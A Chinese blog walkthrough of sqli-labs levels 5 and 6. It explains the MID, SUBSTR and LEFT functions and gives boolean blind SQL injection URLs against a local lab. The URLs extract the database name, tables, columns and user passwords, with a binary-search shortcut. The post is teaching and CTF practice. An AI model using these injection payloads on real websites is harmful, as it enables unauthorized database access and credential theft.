sqli通关笔记(2) 持续更新ing~

admin 2025年1月11日12:35:15评论5 views字数 2466阅读8分13秒阅读模式

sqli 5-6关就考验的就是关于盲注的知识了
我们先了解一下布尔盲注sql注入截取字符串常用三大法宝函数

1.mid函数

格式: MID(column_name,start[,length])

参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

举个例子:
str="123456" mid(str,2,1) 其意思就是:从“str”的第二位数“2”开始返回一位数。显然我们所获得的结果为“2”
Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

2.substr()函数

格式:substr(string,start,length)
定义和用法
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

sqli通关笔记(2) 持续更新ing~

Sql用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

3.Left()函数

格式:Left(string、length)

参数 说明
字符串 字符串表达式,返回最左侧的字符。 如果字符串包含 null,则返回 null。
长度 变体(Long)。 数值表达式 ,指示要返回的字符数。 如果为0,则返回零长度字符串("")。 如果大于或等于字符串中的字符数,则返回整个字符串。

Sql用例:

(1)
left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

以上信息从互联网中收集整理而来(os:你让我自己编个出来怎么可能)
好了接下来我们进入第五关

第五关

我们来利用刚刚的知识进行注入
首先我们先判断下数据库长度(按下面这个payload试,一直到页面回显错误即错误的前一个数字为真)

http://localhost/sqli-labs-master/Less-5/?id=1'and length(database())=8--+

sqli通关笔记(2) 持续更新ing~

接下来判断数据库名

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+

sqli通关笔记(2) 持续更新ing~

回显正常页面就说明数据库第一位是s。接下来按着这种顺序下去就能猜解出数据库名了
这里我就要介绍一个二分法了

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)>'l'--+

这里意思就是,如果数据库名第一位数是在l之后就TRUE,返回正常页面,否则就是错误页面。这种方法可以大大增快我们猜解时间
到了这,肯定就有bro问了,那你为嘛不直接上脚本呢,sqlmap不香吗? 只能说这是因人而异,CTF比赛的时候可不让用sqlmap跑。练习手工注入就是在打基础。
现在我们推出了表名是security
接下来继续猜表:

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e' --+

这里我解释一下limit含义
举个例子select * from emails limit 0,1; 意思就是从emails表中从第一个开始只抽一条
如果是limit 2,1 就是 从第二个开始抽一条。
介绍完了猜表,我们现在从user表中猜列名

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'

接下来猜数据
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select password from users order by id limit 0,1),4)='dumb' --+
就是这样啦。只是这样一个个猜太麻烦了。。。。。如果python学的好的bro可以自己写一个简单脚本跑一下就好了。

第六关
根据提示可知。只是双引号的保存,所以我们只需要把第五关的单引号改成双引号就好了。

过关方式有很多,暂时先更到这里。后面还会增加一些方法。持续关注这条博文

©著作权归作者所有 - source: 535yx.cn

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日12:35:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli通关笔记(2) 持续更新ing~https://cn-sec.com/archives/3619428.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息